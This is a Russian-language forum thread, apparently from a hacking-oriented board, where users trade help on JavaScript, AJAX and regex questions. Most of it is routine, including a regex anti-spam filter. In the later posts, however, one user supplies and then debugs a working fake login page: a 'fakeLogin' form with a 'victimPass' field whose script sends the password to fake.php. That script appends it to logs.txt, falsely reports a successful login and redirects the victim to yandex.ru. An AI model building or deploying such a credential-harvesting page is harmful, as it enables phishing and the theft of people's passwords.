[JavaScript, AJAX] Задай вопрос, получи ответ

Discussion in 'PHP' started by banned, 9 Jun 2007.

Thread Status:
Not open for further replies.
  1. Mixon

    Mixon Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    394
    Likes Received:
    119
    Reputations:
    12
    Невозможно....Тут то и дело в самой переменной!

    eval("var mix"+rnd+"gh='"+value+"';");

    в итоге выходит
    var mixbiggh='myvalueBIG';
    тут дело в том и состоит,задать имя переменной с других переменных...
     
  2. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Есь такой код:

    PHP:
    <script>  
    function decrypt(n)  
    {  
        var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~';  

    location.replace(document.location + "?decr=" + q); 
    }  

    </script>  
    <input type="text" id="encr"/><br/> 
    <input type="button" name="decr" onclick="decrypt(document.getElementById('encr').value)" value="decrypt"/> 
    <?php  
    if(isset($_GET['decr'])) 

       
    // $f=fopen("out.txt", "w");  
       // fwrite($f, $_GET['decr']);

       
    echo $pr;

    ?> 
    Так вот он знак + воспринимает как команду. Как заставить его воспринимать как символ?

    P.S. Если ввести в поле "+", то он его не выведет, что говорит о том, что он не воспринимает как символ. Как сделать, чтобы он его выводил? :(
     
    #1602 sNt, 14 Jul 2009
    Last edited: 14 Jul 2009
  3. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    оно ничего не выводит, q = ""

    используй encodeURIComponent() для того чтобы + не воспринимался как пробел
     
    #1603 imajo.ati, 14 Jul 2009
    Last edited: 14 Jul 2009
  4. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Спс, сделал, как ты сказал, все пашет терь :)
     
  5. eboome

    eboome Banned

    Joined:
    10 Nov 2008
    Messages:
    76
    Likes Received:
    6
    Reputations:
    0
    Здрасти!
    Мене нужно сделать скрипт на технологии аякс.
    Суть такова.
    Как сделать чтобы пост-запрос отправляющийся через форму, сразу давал вывод информации без перезагрузки страницы?
     
  6. admink1

    admink1 Member

    Joined:
    12 Jun 2009
    Messages:
    63
    Likes Received:
    21
    Reputations:
    1
    PHP:
    function page_all(form) {
        
    strAlert1 "";if (form.com_author.value == ""strAlert1 "- Имя\n";
        
    strAlert2 "";
        if (((
    form.com_em.value.indexOf("@")) < 2) || ((form.com_em.value.indexOf(".")) < 2) || ((form.com_em.value.length) < 8)) 
        {
    strAlert2 "- e-mail\n";}
        
    strAlert3 "";if (form.com_city.value == ""strAlert3 "- Город\n";
        
    strAlert4 "";if (form.com_text.value == ""strAlert4 "- Комментарий\n";
        
    strAlert5 "";if (form.regcode.value == ""strAlert5 "- Защитный код\n";
        
        
    strAlert =  strAlert1 strAlert2 strAlert3 strAlert4 strAlert5;

        if (
    strAlert != "") {alert ("Пожалуйста, заполните поля:\n" strAlert);return false;}
    }
     
    есть такой яваскрипт в движке, а именно в чате. так вот как сделать так, чтобы при вводе в коменнтарий(com_text) определенных символов, например: http://, a href. он выдавал ошибку, ату спамеры надаели балин, затраxали честное слово :(
     
  7. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    HTML:
    <form id="form"><textarea name="com_text" onkeyup="aaa()"></textarea></form>
    
    <script>
    function aaa()
    {
    	var reg = new RegExp(/http:\/\/|a[^h]+href/g);
    	
    	if ( form.com_text.value.match(reg) )
    	{
    		form.com_text.value = form.com_text.value.replace(reg,"");
    		alert('no spam!');
    	}
    }
    </script>
    
    адаптируй под себя
     
  8. admink1

    admink1 Member

    Joined:
    12 Jun 2009
    Messages:
    63
    Likes Received:
    21
    Reputations:
    1
    блин че то руки у меня кривые, вот пишу так:

    PHP:
    function page_all(form) {
        
    strAlert1 "";if (form.book_author.value == ""strAlert1 "- Имя\n";


         var 
    reg = new RegExp(/http:\/\/|a[^h]+href/g);if ( form.com_text.value.match(reg) )
        {
            
    form.com_text.value form.com_text.value.replace(reg,"");
            
    alert('no spam!');
        }
        
        
        
    strAlert3 "";if (form.regcode.value == ""strAlert3 "- Защитный код\n";
        
        
    strAlert =  strAlert1 strAlert2 strAlert3;

        if (
    strAlert != "") {alert ("Пожалуйста, заполните поля:\n" strAlert);return false;}
    }

     
    #1608 admink1, 17 Jul 2009
    Last edited: 17 Jul 2009
  9. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    HTML:
    function page_all(form)
    {
    	strAlert1 = "";
    	if ( form.com_author.value == "" )
    		strAlert1 = "- Имя\n";
    
    	strAlert2 = "";
    	if ( ((form.com_em.value.indexOf("@")) < 2) || ((form.com_em.value.indexOf(".")) < 2) || ((form.com_em.value.length) < 8) )
    		strAlert2 = "- e-mail\n";
    
    	strAlert3 = "";
    	if ( form.com_city.value == "" )
    		strAlert3 = "- Город\n";
    
    	strAlert4 = "";
    	if ( form.com_text.value == "" )
    		strAlert4 = "- Комментарий\n";
    	else
    	{
    		var reg = new RegExp(/http:\/\/|a[^h]+href/g);
    		if ( form.com_text.value.match(reg) )
    			form.com_text.value = form.com_text.value.replace(reg,"");
    			// или какое-нибудь действие вместо удаления символов
    	}
    
    	strAlert5 = "";
    	if ( form.regcode.value == "" )
    		strAlert5 = "- Защитный код\n";
    
    	strAlert = strAlert1 + strAlert2 + strAlert3 + strAlert4 + strAlert5; 
    
    	if ( strAlert != "" )
    	{
    		alert("Пожалуйста, заполните поля:\n" + strAlert);
    		return false;
    	}
    }
     
    #1609 imajo.ati, 17 Jul 2009
    Last edited: 17 Jul 2009
  10. Micr0b

    Micr0b Elder - Старейшина

    Joined:
    14 Jan 2006
    Messages:
    223
    Likes Received:
    168
    Reputations:
    26
    извиняюсь правда меня интересует такой же вопрос как и в eboome но чуть друго
     
  11. Micr0b

    Micr0b Elder - Старейшина

    Joined:
    14 Jan 2006
    Messages:
    223
    Likes Received:
    168
    Reputations:
    26
    извиняюсь правда меня интересует такой же вопрос как и в eboome но чуть другой мне нужно чтоб без нажатия кнопки приисходил отправка резуьтата и сразу ответ.. пример такой вконтакте при в фильтра друзей..
    Зарания спасибо
     
  12. FireFenix

    FireFenix Elder - Старейшина

    Joined:
    3 Jun 2009
    Messages:
    390
    Likes Received:
    115
    Reputations:
    23
    Запускай по событии onChange

    К примеру :
    Code:
    <input name="text" type="text" onChange="javascript:script()">
     
  13. Flcn

    Flcn Member

    Joined:
    6 Jul 2009
    Messages:
    56
    Likes Received:
    6
    Reputations:
    0
    Приветствую, есть вопрос.. поднял у себя Апач. начал работу с Ajax. есть скрипт где такие строчки:
    Code:
    var xhr=new XMLHttpRequest();
     xhr.open("GET", "http://localhost/ajax/main.xml");
    (в место локалхоста пробовал и на сайты выкладывать)
    адрес правильный.. но Firebug мозиллы сообщает что:
    в чём может быть проблема?
     
    #1613 Flcn, 21 Jul 2009
    Last edited: 21 Jul 2009
  14. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    попробуй относительный путь
     
  15. 043nKRuT0y

    043nKRuT0y Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    226
    Likes Received:
    8
    Reputations:
    0
    Приветствую !
    В джаве первый раз - нужна помощь !
    Есть такая форма :
    <FORM method="post" name="login" id="login" onsubmit="login(); return false;">
    <LABEL for="email">Email:</LABEL>
    <INPUT class="inputText" onclick="show('expirePad');" type="text" name="email" id="email" size="20">
    <LABEL for="pass">Пароль:</LABEL>
    <INPUT class="inputText" onclick="show('expirePad');" type="password" name="pass" id="pass" size="20">

    При нажатие на кнопку будет вызываться функция login(); Так вот - приведите пример функции чтобы значения этих двух полей постоянно дозаписывались в файл ! И сразу после записи переадресовывать на страницу скажем main.php !

    Заранее спс !
     
  16. n0reply

    n0reply New Member

    Joined:
    31 Mar 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    Пример будет из нескольких файлов, и понадобиться еще серверный скриптовый язык... Для примера - php.

    login.html:
    PHP:
    <html>
    <
    head>
    <
    script language="javascript" type="text/javascript" src="ajaxget.js"></script>
    </head>

    <body>
     <form name=fakeLogin onsubmit="return logAccount();">
      <input type=text name=victimPass />
      <input type=submit />
     </form>
    <p><span id="loginspan"></span></p>
    </body>
    </html>
    ajaxget.js:
    PHP:
     var http_request false;
       function 
    makeRequest(urlparameters) {
          
    http_request false;
          if (
    window.XMLHttpRequest) { // Mozilla, Safari,...
             
    http_request = new XMLHttpRequest();
             if (
    http_request.overrideMimeType) {
                 
    // set type accordingly to anticipated content type
                //http_request.overrideMimeType('text/xml');
                
    http_request.overrideMimeType('text/html');
             }
          } else if (
    window.ActiveXObject) { // IE
             
    try {
                
    http_request = new ActiveXObject("Msxml2.XMLHTTP");
             } catch (
    e) {
                try {
                   
    http_request = new ActiveXObject("Microsoft.XMLHTTP");
                } catch (
    e) {}
             }
          }
          if (!
    http_request) {
             
    alert('Cannot create XMLHTTP instance');
             return 
    false;
          }
          
    http_request.onreadystatechange alertContents;
          
    http_request.open('GET'url parameterstrue);
          
    http_request.send(null);
       }

       function 
    alertContents() {
          if (
    http_request.readyState == 4) {
             if (
    http_request.status == 200) {
                
    //alert(http_request.responseText);
                
    result http_request.responseText;
                
    document.getElementById('loginspan').innerHTML result;
                
    document.location 'http://yandex.ru/';
             } else {
                
    alert('There was a problem with the request.');
             }
          }
       }

    function 
    logAccount() {
        var 
    document.forms['fakeLogin'];
        
    makeRequest('fake.php','?password='+encodeURI(f.victimPass.value));
        return 
    false;
        }

    fake.php:
    PHP:
    <?php

    if(isset($_GET['password'])){
        
    $password$_GET['password'];
        if (
    $fp fopen("logs.txt","a")) {
            
    fputs($fp,$password."\n");
        }
        echo 
    'good password, welcome';
        } else {
            echo 
    'bad password';
            }

    ?>
    Принцип такой, заходим на login.html, вводим пароль, нам говорят что мы успешно вошли и нас перекидывает на yandex.ru. При этом пароль сохраняется на сервере в файле logs.txt.
     
  17. 043nKRuT0y

    043nKRuT0y Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    226
    Likes Received:
    8
    Reputations:
    0
    Вроде все правильно скопил и файлы по создавал , на ДЕНВЕРЕ запустил никакого файла нигде не создается ! Попроще функции нету ???
    Может проблему легче на ПХП решить ?
     
    #1617 043nKRuT0y, 23 Jul 2009
    Last edited: 23 Jul 2009
  18. n0reply

    n0reply New Member

    Joined:
    31 Mar 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    Смотри внимательно исходники, файл ajaxget.js, функция logAccount(), вторая строка. Я все правильно вставил в форум, но запостилось почему-то с таинственными пробелами. В листинге
    Code:
    encodeURI(f.vi  ctimPass.value)
    , а должно быть БЕЗ пробелов, просто f.victimPass.value, попробуй так, должно работать. В других местах вроде опечаток нет. Вроде.

    з.ы. на пхп конечно проще, но ты же сам задал вопрос в теме про ajax и js.
     
    #1618 n0reply, 23 Jul 2009
    Last edited: 23 Jul 2009
  19. BiG_][aKeR

    BiG_][aKeR New Member

    Joined:
    30 Nov 2008
    Messages:
    21
    Likes Received:
    1
    Reputations:
    0
    Помогите,нужен аналог етому,с пхп...

    preg_match_all('#Text(.*?)Text2#is',$page,$remixemail);

    Чтоб в переменной искало и копировало текст между Text и Text2 в другую переменную,спс...
     
  20. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Code:
    <script type="text/javascript">
    var testString = '34893275 Text lolo Text2 3535 Text lolo1 Text2 34893275 Text lolo2 Text2 3535 Text lolo3 Text2';
    var re = /Text(.*?)Text2/g;
    while (matches = re.exec(testString)) {
          document.write(matches[1]);    
    }
    </script>   
    
     
Thread Status:
Not open for further replies.